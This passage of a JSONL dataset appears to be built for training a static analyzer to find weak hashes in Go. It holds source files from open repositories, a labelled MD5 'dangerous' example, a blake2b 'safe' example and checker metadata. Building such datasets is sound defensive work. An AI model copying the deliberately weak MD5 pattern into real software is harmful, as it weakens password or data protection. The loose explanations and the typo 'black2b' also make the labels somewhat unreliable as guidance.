SETEX \"+wsCli.filterRedisKey, err)\n\t}\n}\n\nfunc (wsCli *WebsocketClient) formatContainerByNameNodeDetail(scopeTopology ScopeTopology) DeepfenceTopology {\n\tvar dfTopology = DeepfenceTopology{ID: wsCli.getDfIdFromScopeId(scopeTopology.ID), Name: scopeTopology.ID,\n\t\tPseudo: scopeTopology.Pseudo, Type: wsCli.nodeType, Meta: scopeTopology.LabelMinor, ScopeId: scopeTopology.ID}\n\tdfTopology.Parents = wsCli.formatParentNodes(scopeTopology.Parents)\n\tdfTopology.Adjacency = wsCli.formatAdjacency(scopeTopology.Adjacency)\n\treturn dfTopology\n}\n\nfunc (wsCli *WebsocketClient) formatTopologyContainerByNameData() {\n\tfor _, scopeTopology := range wsCli.topologyScope {\n\t\tdfTopology := wsCli.formatContainerByNameNodeDetail(scopeTopology)\n\t\twsCli.topologyDf[dfTopology.ID] = dfTopology\n\t\twsCli.dfIdToScopeIdMap[dfTopology.ID] = scopeTopology.ID\n\t}\n}\n\nfunc (wsCli *WebsocketClient) formatProcessNodeDetail(scopeTopology ScopeTopology) DeepfenceTopology {\n\tvar dfTopology = DeepfenceTopology{HostName: scopeTopology.Label, ID: wsCli.getDfIdFromScopeId(scopeTopology.ID),\n\t\tPseudo: scopeTopology.Pseudo, Type: wsCli.nodeType, Meta: scopeTopology.LabelMinor, Process: scopeTopology.Label, ScopeId: scopeTopology.ID}\n\tfor _, parent := range scopeTopology.Parents {\n\t\tif parent.TopologyID == TopologyIdHost {\n\t\t\tdfTopology.HostName = parent.Label\n\t\t\tbreak\n\t\t}\n\t}\n\tfor _, metadata := range scopeTopology.Metadata {\n\t\tswitch metadata.ID {\n\t\tcase \"pid\":\n\t\t\tdfTopology.Pid, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"cmdline\":\n\t\t\tdfTopology.Cmdline = metadata.Value\n\t\tcase \"ppid\":\n\t\t\tdfTopology.Ppid, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"threads\":\n\t\t\tdfTopology.Threads, _ = strconv.Atoi(metadata.Value)\n\t\t}\n\t}\n\tdfTopology.Parents = wsCli.formatParentNodes(scopeTopology.Parents)\n\tdfTopology.Adjacency = wsCli.formatAdjacency(scopeTopology.Adjacency)\n\treturn dfTopology\n}\n\nfunc (wsCli *WebsocketClient) formatTopologyProcessData() {\n\tfor _, scopeTopology := range wsCli.topologyScope {\n\t\tdfTopology := wsCli.formatProcessNodeDetail(scopeTopology)\n\t\twsCli.topologyDf[dfTopology.ID] = dfTopology\n\t\twsCli.dfIdToScopeIdMap[dfTopology.ID] = scopeTopology.ID\n\t}\n}\n\nfunc (wsCli *WebsocketClient) formatProcessByNameNodeDetail(scopeTopology ScopeTopology) DeepfenceTopology {\n\tvar dfTopology = DeepfenceTopology{ID: wsCli.getDfIdFromScopeId(scopeTopology.ID), Process: scopeTopology.ID,\n\t\tPseudo: scopeTopology.Pseudo, Type: wsCli.nodeType, Meta: scopeTopology.LabelMinor, ScopeId: scopeTopology.ID}\n\tdfTopology.Parents = wsCli.formatParentNodes(scopeTopology.Parents)\n\tdfTopology.Adjacency = wsCli.formatAdjacency(scopeTopology.Adjacency)\n\treturn dfTopology\n}\n\nfunc (wsCli *WebsocketClient) formatTopologyProcessByNameData() {\n\tfor _, scopeTopology := range wsCli.topologyScope {\n\t\tdfTopology := wsCli.formatProcessByNameNodeDetail(scopeTopology)\n\t\twsCli.topologyDf[dfTopology.ID] = dfTopology\n\t\twsCli.dfIdToScopeIdMap[dfTopology.ID] = scopeTopology.ID\n\t}\n}\n\nfunc (wsCli *WebsocketClient) formatPodNodeDetail(scopeTopology ScopeTopology) DeepfenceTopology {\n\tvar dfTopology = DeepfenceTopology{ID: wsCli.getDfIdFromScopeId(scopeTopology.ID), Name: scopeTopology.Label, PodName: scopeTopology.Label,\n\t\tPseudo: scopeTopology.Pseudo, Type: wsCli.nodeType, Meta: scopeTopology.LabelMinor, ScopeId: scopeTopology.ID}\n\tfor _, parent := range scopeTopology.Parents {\n\t\tif parent.TopologyID == TopologyIdHost {\n\t\t\tdfTopology.HostName = parent.Label\n\t\t\tbreak\n\t\t}\n\t}\n\tfor _, metadata := range scopeTopology.Metadata {\n\t\tswitch metadata.ID {\n\t\tcase \"kubernetes_node_type\":\n\t\t\tdfTopology.KubernetesNodeType = metadata.Value\n\t\tcase \"kubernetes_state\":\n\t\t\tdfTopology.KubernetesState = metadata.Value\n\t\tcase \"kubernetes_ip\":\n\t\t\tdfTopology.KubernetesIP = metadata.Value\n\t\tcase \"container\":\n\t\t\tdfTopology.ContainerCount, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"kubernetes_namespace\":\n\t\t\tdfTopology.KubernetesNamespace = metadata.Value\n\t\tcase \"kubernetes_created\":\n\t\t\tdfTopology.KubernetesCreated = metadata.Value\n\t\tcase \"kubernetes_restart_count\":\n\t\t\tdfTopology.KubernetesRestartCount, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"kubernetes_is_in_host_network\":\n\t\t\tdfTopology.KubernetesIsInHostNetwork, _ = strconv.ParseBool(metadata.Value)\n\t\tcase \"kubernetes_snapshot_data\":\n\t\t\tdfTopology.KubernetesSnapshotData = metadata.Value\n\t\tcase \"kubernetes_volume_claim\":\n\t\t\tdfTopology.KubernetesVolumeClaim = metadata.Value\n\t\tcase \"kubernetes_volume_capacity\":\n\t\t\tdfTopology.KubernetesVolumeCapacity = metadata.Value\n\t\tcase \"kubernetes_volume_name\":\n\t\t\tdfTopology.KubernetesVolumeName = metadata.Value\n\t\tcase \"kubernetes_volume_snapshot_name\":\n\t\t\tdfTopology.KubernetesVolumeSnapshotName = metadata.Value\n\t\tcase \"kubernetes_provisioner\":\n\t\t\tdfTopology.KubernetesProvisioner = metadata.Value\n\t\tcase \"kubernetes_name\":\n\t\t\tdfTopology.KubernetesName = metadata.Value\n\t\tcase \"kubernetes_storage_class_name\":\n\t\t\tdfTopology.KubernetesStorageClassName = metadata.Value\n\t\tcase \"kubernetes_access_modes\":\n\t\t\tdfTopology.KubernetesAccessModes = metadata.Value\n\t\tcase \"kubernetes_status\":\n\t\t\tdfTopology.KubernetesStatus = metadata.Value\n\t\tcase \"kubernetes_storage_driver\":\n\t\t\tdfTopology.KubernetesStorageDriver = metadata.Value\n\t\tcase \"kubernetes_cluster_id\":\n\t\t\tdfTopology.KubernetesClusterId = metadata.Value\n\t\tcase \"kubernetes_cluster_name\":\n\t\t\tdfTopology.KubernetesClusterName = metadata.Value\n\t\tcase \"control_probe_id\":\n\t\t\tdfTopology.ClusterAgentProbeId = metadata.Value\n\t\t}\n\t}\n\tdfTopology.Parents = wsCli.formatParentNodes(scopeTopology.Parents)\n\tdfTopology.Adjacency = wsCli.formatAdjacency(scopeTopology.Adjacency)\n\treturn dfTopology\n}\n\nfunc (wsCli *WebsocketClient) formatTopologyPodData() {\n\tnoOfPods := 0\n\tlocalNetworksK8s := make([]string, 0)\n\ttopologyFilters := []TopologyFilterOption{\n\t\t{Name: \"pseudo\", Label: \"Pseudo\", Type: filterTypeBool, Options: []string{}, NumberOptions: nil},\n\t}\n\tvar filtersPodName, filtersKubernetesClusterId, filtersKubernetesClusterName, filtersKubernetesNamespace []string\n\tredisConn := wsCli.redisPool.Get()\n\tdefer redisConn.Close()\n\tfor _, scopeTopology := range wsCli.topologyScope {\n\t\tdfTopology := wsCli.formatPodNodeDetail(scopeTopology)\n\t\tif dfTopology.KubernetesPublicIP != \"\" {\n\t\t\tlocalNetworksK8s = append(localNetworksK8s, dfTopology.KubernetesPublicIP)\n\t\t}\n\t\tif dfTopology.KubernetesIP != \"\" {\n\t\t\tlocalNetworksK8s = append(localNetworksK8s, dfTopology.KubernetesIP)\n\t\t}\n\t\tif dfTopology.Pseudo == false {\n\t\t\tif dfTopology.KubernetesNamespace != \"\" && dfTopology.KubernetesNamespace != kubeSystemNamespace && dfTopology.KubernetesNamespace != KubePublicNamespace {\n\t\t\t\tnoOfPods += 1\n\t\t\t}\n\t\t\tif strings.HasPrefix(dfTopology.Name, \"deepfence/deepfence-cluster-agent\") {\n\t\t\t\t_, err := redisConn.Do(\"SETEX\", \"CLUSTER_AGENT_PROBE_ID_\"+dfTopology.KubernetesClusterId, RedisExpiryTime, dfTopology.ClusterAgentProbeId)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Error: SETEX CLUSTER_AGENT_PROBE_ID_\"+dfTopology.KubernetesClusterId, err)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif dfTopology.PodName != \"\" && !InArray(dfTopology.PodName, filtersPodName) {\n\t\t\t\tfiltersPodName = append(filtersPodName, dfTopology.PodName)\n\t\t\t}\n\t\t\tif dfTopology.KubernetesClusterId != \"\" && !InArray(dfTopology.KubernetesClusterId, filtersKubernetesClusterId) {\n\t\t\t\tfiltersKubernetesClusterId = append(filtersKubernetesClusterId, dfTopology.KubernetesClusterId)\n\t\t\t}\n\t\t\tif dfTopology.KubernetesClusterName != \"\" && !InArray(dfTopology.KubernetesClusterName, filtersKubernetesClusterName) {\n\t\t\t\tfiltersKubernetesClusterName = append(filtersKubernetesClusterName, dfTopology.KubernetesClusterName)\n\t\t\t}\n\t\t\tif dfTopology.KubernetesNamespace != \"\" && !InArray(dfTopology.KubernetesNamespace, filtersKubernetesNamespace) {\n\t\t\t\tfiltersKubernetesNamespace = append(filtersKubernetesNamespace, dfTopology.KubernetesNamespace)\n\t\t\t}\n\t\t}\n\t\twsCli.topologyDf[dfTopology.ID] = dfTopology\n\t\twsCli.dfIdToScopeIdMap[dfTopology.ID] = scopeTopology.ID\n\t}\n\tlocalNetworksK8s = uniqueSlice(localNetworksK8s)\n\tlocalNetworksK8sJson, _ := JsonEncode(localNetworksK8s)\n\t_, err := redisConn.Do(\"SETEX\", topologyLocalNetworksK8sRedisKey, RedisExpiryTime, string(localNetworksK8sJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+topologyLocalNetworksRedisKey, err)\n\t}\n\t_, err = redisConn.Do(\"HSET\", ScopeTopologyCount, wsCli.nodeType, noOfPods, \"kube_cluster\", len(filtersKubernetesClusterId), \"kube_namespace\", len(filtersKubernetesNamespace))\n\tif err != nil {\n\t\tlog.Println(\"Error: HSET \"+ScopeTopologyCount, err)\n\t}\n\tif len(filtersPodName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"pod_name\", Label: \"Pod Name\", Type: filterTypeStr, Options: filtersPodName, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesClusterId) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_cluster_id\", Label: \"Cluster ID\", Type: filterTypeStr, Options: filtersKubernetesClusterId, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesClusterName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_cluster_name\", Label: \"Cluster Name\", Type: filterTypeStr, Options: filtersKubernetesClusterName, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesNamespace) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_namespace\", Label: \"Namespace\", Type: filterTypeStr, Options: filtersKubernetesNamespace, NumberOptions: nil})\n\t}\n\ttopologyFiltersJson, _ := JsonEncode(topologyFilters)\n\t_, err = redisConn.Do(\"SETEX\", wsCli.filterRedisKey, RedisExpiryTime, string(topologyFiltersJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+wsCli.filterRedisKey, err)\n\t}\n}\n\nfunc (wsCli *WebsocketClient) formatKubeServiceNodeDetail(scopeTopology ScopeTopology) DeepfenceTopology {\n\tvar dfTopology = DeepfenceTopology{ID: wsCli.getDfIdFromScopeId(scopeTopology.ID), Name: scopeTopology.Label,\n\t\tPseudo: scopeTopology.Pseudo, Type: wsCli.nodeType, Meta: scopeTopology.LabelMinor, ScopeId: scopeTopology.ID}\n\tfor _, metadata := range scopeTopology.Metadata {\n\t\tswitch metadata.ID {\n\t\tcase \"kubernetes_namespace\":\n\t\t\tdfTopology.KubernetesNamespace = metadata.Value\n\t\tcase \"kubernetes_created\":\n\t\t\tdfTopology.KubernetesCreated = metadata.Value\n\t\tcase \"kubernetes_ip\":\n\t\t\tdfTopology.KubernetesIP = metadata.Value\n\t\tcase \"kubernetes_public_ip\":\n\t\t\tdfTopology.KubernetesPublicIP = metadata.Value\n\t\tcase \"kubernetes_ingress_ip\":\n\t\t\tdfTopology.KubernetesIngressIP = metadata.Value\n\t\tcase \"pod\":\n\t\t\tdfTopology.PodCount, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"kubernetes_type\":\n\t\t\tdfTopology.KubernetesType = metadata.Value\n\t\tcase \"kubernetes_ports\":\n\t\t\tdfTopology.KubernetesPorts = metadata.Value\n\t\tcase \"kubernetes_cluster_id\":\n\t\t\tdfTopology.KubernetesClusterId = metadata.Value\n\t\tcase \"kubernetes_cluster_name\":\n\t\t\tdfTopology.KubernetesClusterName = metadata.Value\n\t\tcase \"control_probe_id\":\n\t\t\tdfTopology.ClusterAgentProbeId = metadata.Value\n\t\t}\n\t}\n\tdfTopology.Parents = wsCli.formatParentNodes(scopeTopology.Parents)\n\tdfTopology.Adjacency = wsCli.formatAdjacency(scopeTopology.Adjacency)\n\treturn dfTopology\n}\n\nfunc (wsCli *WebsocketClient) formatTopologyKubeServiceData() {\n\tk8sIps := make([]string, 0)\n\ttopologyFilters := []TopologyFilterOption{\n\t\t{Name: \"pseudo\", Label: \"Pseudo\", Type: filterTypeBool, Options: []string{}, NumberOptions: nil},\n\t}\n\tvar filtersName, filtersKubernetesClusterId, filtersKubernetesClusterName, filtersKubernetesNamespace []string\n\tfor _, scopeTopology := range wsCli.topologyScope {\n\t\tdfTopology := wsCli.formatKubeServiceNodeDetail(scopeTopology)\n\t\tif dfTopology.KubernetesPublicIP != \"\" {\n\t\t\tk8sIps = append(k8sIps, dfTopology.KubernetesPublicIP)\n\t\t}\n\t\tif dfTopology.KubernetesIngressIP != \"\" {\n\t\t\tingressIps := strings.Split(dfTopology.KubernetesIngressIP, \",\")\n\t\t\tfor _, ingressIp := range ingressIps {\n\t\t\t\tif ingressIp != \"\" {\n\t\t\t\t\tk8sIps = append(k8sIps, ingressIp)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif dfTopology.KubernetesIP != \"\" {\n\t\t\tk8sIps = append(k8sIps, dfTopology.KubernetesIP)\n\t\t}\n\t\tif dfTopology.Name != \"\" && !InArray(dfTopology.Name, filtersName) {\n\t\t\tfiltersName = append(filtersName, dfTopology.Name)\n\t\t}\n\t\tif dfTopology.KubernetesClusterId != \"\" && !InArray(dfTopology.KubernetesClusterId, filtersKubernetesClusterId) {\n\t\t\tfiltersKubernetesClusterId = append(filtersKubernetesClusterId, dfTopology.KubernetesClusterId)\n\t\t}\n\t\tif dfTopology.KubernetesClusterName != \"\" && !InArray(dfTopology.KubernetesClusterName, filtersKubernetesClusterName) {\n\t\t\tfiltersKubernetesClusterName = append(filtersKubernetesClusterName, dfTopology.KubernetesClusterName)\n\t\t}\n\t\tif dfTopology.KubernetesNamespace != \"\" && !InArray(dfTopology.KubernetesNamespace, filtersKubernetesNamespace) {\n\t\t\tfiltersKubernetesNamespace = append(filtersKubernetesNamespace, dfTopology.KubernetesNamespace)\n\t\t}\n\t\twsCli.topologyDf[dfTopology.ID] = dfTopology\n\t\twsCli.dfIdToScopeIdMap[dfTopology.ID] = scopeTopology.ID\n\t}\n\tk8sIps = uniqueSlice(k8sIps)\n\tk8sIpsJson, _ := JsonEncode(k8sIps)\n\tredisConn := wsCli.redisPool.Get()\n\tdefer redisConn.Close()\n\t_, err := redisConn.Do(\"SETEX\", topologyLocalServicesK8sRedisKey, RedisExpiryTime, string(k8sIpsJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+topologyLocalServicesK8sRedisKey, err)\n\t}\n\tif len(filtersName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"name\", Label: \"Name\", Type: filterTypeStr, Options: filtersName, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesClusterId) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_cluster_id\", Label: \"Cluster ID\", Type: filterTypeStr, Options: filtersKubernetesClusterId, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesClusterName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_cluster_name\", Label: \"Cluster Name\", Type: filterTypeStr, Options: filtersKubernetesClusterName, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesNamespace) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_namespace\", Label: \"Namespace\", Type: filterTypeStr, Options: filtersKubernetesNamespace, NumberOptions: nil})\n\t}\n\ttopologyFiltersJson, _ := JsonEncode(topologyFilters)\n\t_, err = redisConn.Do(\"SETEX\", wsCli.filterRedisKey, RedisExpiryTime, string(topologyFiltersJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+wsCli.filterRedisKey, err)\n\t}\n}\n\nfunc (wsCli *WebsocketClient) formatKubeControllerNodeDetail(scopeTopology ScopeTopology) DeepfenceTopology {\n\tvar dfTopology = DeepfenceTopology{ID: wsCli.getDfIdFromScopeId(scopeTopology.ID), Name: scopeTopology.Label,\n\t\tPseudo: scopeTopology.Pseudo, Type: wsCli.nodeType, Meta: scopeTopology.LabelMinor, ScopeId: scopeTopology.ID}\n\tfor _, metadata := range scopeTopology.Metadata {\n\t\tswitch metadata.ID {\n\t\tcase \"kubernetes_node_type\":\n\t\t\tdfTopology.KubernetesNodeType = metadata.Value\n\t\tcase \"kubernetes_namespace\":\n\t\t\tdfTopology.KubernetesNamespace = metadata.Value\n\t\tcase \"kubernetes_created\":\n\t\t\tdfTopology.KubernetesCreated = metadata.Value\n\t\tcase \"kubernetes_observed_generation\":\n\t\t\tdfTopology.KubernetesObservedGeneration, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"kubernetes_desired_replicas\":\n\t\t\tdfTopology.KubernetesDesiredReplicas, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"pod\":\n\t\t\tdfTopology.PodCount, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"kubernetes_strategy\":\n\t\t\tdfTopology.KubernetesStrategy = metadata.Value\n\t\t}\n\t}\n\tdfTopology.Parents = wsCli.formatParentNodes(scopeTopology.Parents)\n\tdfTopology.Adjacency = wsCli.formatAdjacency(scopeTopology.Adjacency)\n\treturn dfTopology\n}\n\nfunc (wsCli *WebsocketClient) formatTopologyKubeControllerData() {\n\ttopologyFilters := []TopologyFilterOption{\n\t\t{Name: \"pseudo\", Label: \"Pseudo\", Type: filterTypeBool, Options: []string{}, NumberOptions: nil},\n\t}\n\tvar filtersName, filtersKubernetesClusterId, filtersKubernetesClusterName, filtersKubernetesNodeType, filtersKubernetesNamespace []string\n\tfor _, scopeTopology := range wsCli.topologyScope {\n\t\tdfTopology := wsCli.formatKubeControllerNodeDetail(scopeTopology)\n\t\tif dfTopology.Name != \"\" && !InArray(dfTopology.Name, filtersName) {\n\t\t\tfiltersName = append(filtersName, dfTopology.Name)\n\t\t}\n\t\tif dfTopology.KubernetesClusterId != \"\" && !InArray(dfTopology.KubernetesClusterId, filtersKubernetesClusterId) {\n\t\t\tfiltersKubernetesClusterId = append(filtersKubernetesClusterId, dfTopology.KubernetesClusterId)\n\t\t}\n\t\tif dfTopology.KubernetesClusterName != \"\" && !InArray(dfTopology.KubernetesClusterName, filtersKubernetesClusterName) {\n\t\t\tfiltersKubernetesClusterName = append(filtersKubernetesClusterName, dfTopology.KubernetesClusterName)\n\t\t}\n\t\tif dfTopology.KubernetesNodeType != \"\" && !InArray(dfTopology.KubernetesNodeType, filtersKubernetesNodeType) {\n\t\t\tfiltersKubernetesNodeType = append(filtersKubernetesNodeType, dfTopology.KubernetesNodeType)\n\t\t}\n\t\tif dfTopology.KubernetesNamespace != \"\" && !InArray(dfTopology.KubernetesNamespace, filtersKubernetesNamespace) {\n\t\t\tfiltersKubernetesNamespace = append(filtersKubernetesNamespace, dfTopology.KubernetesNamespace)\n\t\t}\n\t\twsCli.topologyDf[dfTopology.ID] = dfTopology\n\t\twsCli.dfIdToScopeIdMap[dfTopology.ID] = scopeTopology.ID\n\t}\n\tif len(filtersName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"name\", Label: \"Name\", Type: filterTypeStr, Options: filtersName, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesClusterId) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_cluster_id\", Label: \"Cluster ID\", Type: filterTypeStr, Options: filtersKubernetesClusterId, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesClusterName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_cluster_name\", Label: \"Cluster Name\", Type: filterTypeStr, Options: filtersKubernetesClusterName, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesNodeType) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_node_type\", Label: \"Controller Type\", Type: filterTypeStr, Options: filtersKubernetesNodeType, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesNamespace) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_namespace\", Label: \"Namespace\", Type: filterTypeStr, Options: filtersKubernetesNamespace, NumberOptions: nil})\n\t}\n\ttopologyFiltersJson, _ := JsonEncode(topologyFilters)\n\tredisConn := wsCli.redisPool.Get()\n\tdefer redisConn.Close()\n\t_, err := redisConn.Do(\"SETEX\", wsCli.filterRedisKey, RedisExpiryTime, string(topologyFiltersJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+wsCli.filterRedisKey, err)\n\t}\n}\n\nfunc (wsCli *WebsocketClient) formatSwarmServiceNodeDetail(scopeTopology ScopeTopology) DeepfenceTopology {\n\tvar dfTopology = DeepfenceTopology{ID: wsCli.getDfIdFromScopeId(scopeTopology.ID), Name: scopeTopology.Label,\n\t\tPseudo: scopeTopology.Pseudo, Type: wsCli.nodeType, Meta: scopeTopology.LabelMinor, ScopeId: scopeTopology.ID}\n\tfor _, metadata := range scopeTopology.Metadata {\n\t\tswitch metadata.ID {\n\t\tcase \"stack_namespace\":\n\t\t\tdfTopology.SwarmStackNamespace = metadata.Value\n\t\t}\n\t}\n\tdfTopology.Parents = wsCli.formatParentNodes(scopeTopology.Parents)\n\tdfTopology.Adjacency = wsCli.formatAdjacency(scopeTopology.Adjacency)\n\treturn dfTopology\n}\n\nfunc (wsCli *WebsocketClient) formatTopologySwarmServiceData() {\n\ttopologyFilters := []TopologyFilterOption{\n\t\t{Name: \"pseudo\", Label: \"Pseudo\", Type: filterTypeBool, Options: []string{}, NumberOptions: nil},\n\t}\n\tvar filtersName, filtersSwarmStackNamespace []string\n\tfor _, scopeTopology := range wsCli.topologyScope {\n\t\tdfTopology := wsCli.formatSwarmServiceNodeDetail(scopeTopology)\n\t\tif dfTopology.Name != \"\" && !InArray(dfTopology.Name, filtersName) {\n\t\t\tfiltersName = append(filtersName, dfTopology.Name)\n\t\t}\n\t\tif dfTopology.SwarmStackNamespace != \"\" && !InArray(dfTopology.SwarmStackNamespace, filtersSwarmStackNamespace) {\n\t\t\tfiltersSwarmStackNamespace = append(filtersSwarmStackNamespace, dfTopology.SwarmStackNamespace)\n\t\t}\n\t\twsCli.topologyDf[dfTopology.ID] = dfTopology\n\t\twsCli.dfIdToScopeIdMap[dfTopology.ID] = scopeTopology.ID\n\t}\n\tif len(filtersName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"name\", Label: \"Name\", Type: filterTypeStr, Options: filtersName, NumberOptions: nil})\n\t}\n\tif len(filtersSwarmStackNamespace) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"stack_namespace\", Label: \"Stack\", Type: filterTypeStr, Options: filtersSwarmStackNamespace, NumberOptions: nil})\n\t}\n\ttopologyFiltersJson, _ := JsonEncode(topologyFilters)\n\tredisConn := wsCli.redisPool.Get()\n\tdefer redisConn.Close()\n\t_, err := redisConn.Do(\"SETEX\", wsCli.filterRedisKey, RedisExpiryTime, string(topologyFiltersJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+wsCli.filterRedisKey, err)\n\t}\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "994fc4534f747994ffae33de0f2f0f3bb2b8e7b9c082490ea08238e57931f719", "license": {"spdx": ["MIT"], "repo": "lorenz/geoip-updater", "path": "storage.go", "repo_head_hexsha": "846988e2247104d7bb2035e0bfd9799186e6fad0", "stack_hexsha": "71bc6d3184d4fba5ea7e4bc63ab88012b6f90a92", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package main\n\nimport (\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path\"\n)\n\ntype Storage interface {\n\tGetMD5(string) []byte\n\tUpdate(editionID string, newData io.Reader) error\n}\n\ntype FileSystemStorage struct {\n\tpath string\n}\n\nfunc NewFileSystemStorage(path string) FileSystemStorage {\n\treturn FileSystemStorage{\n\t\tpath: path,\n\t}\n}\n\nfunc (s FileSystemStorage) getPath(editionID string) string {\n\treturn path.Join(s.path, fmt.Sprintf(\"%v.mmdb\", editionID))\n}\n\nfunc (s FileSystemStorage) GetMD5(editionID string) []byte {\n\tpath := s.getPath(editionID)\n\tfile, err := os.Open(path)\n\thasher := md5.New()\n\tif err == nil {\n\t\tio.Copy(hasher, file)\n\t\tfile.Close()\n\t}\n\treturn hasher.Sum(nil)\n}\n\nfunc (s FileSystemStorage) Update(editionID string, newData io.Reader) error {\n\ttmpfile, err := ioutil.TempFile(s.path, \"updates\")\n\tdefer os.Remove(tmpfile.Name())\n\tio.Copy(tmpfile, newData)\n\ttmpfile.Close()\n\terr = os.Rename(tmpfile.Name(), s.getPath(editionID))\n\treturn err\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "1b1668783ad795725d975d399442fe46bd3f024330e6089ae12ba660f1ffc6e2", "license": {"spdx": ["Apache-2.0"], "repo": "virajs/gloo", "path": "projects/gloo/pkg/plugins/kubernetes/uds_convert.go", "repo_head_hexsha": "95879ab5b275bbd001e78080e602157f39741b57", "stack_hexsha": "dc0a82d4e50fb642d8515ed3c30da58b94d3cbe1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package kubernetes\n\nimport 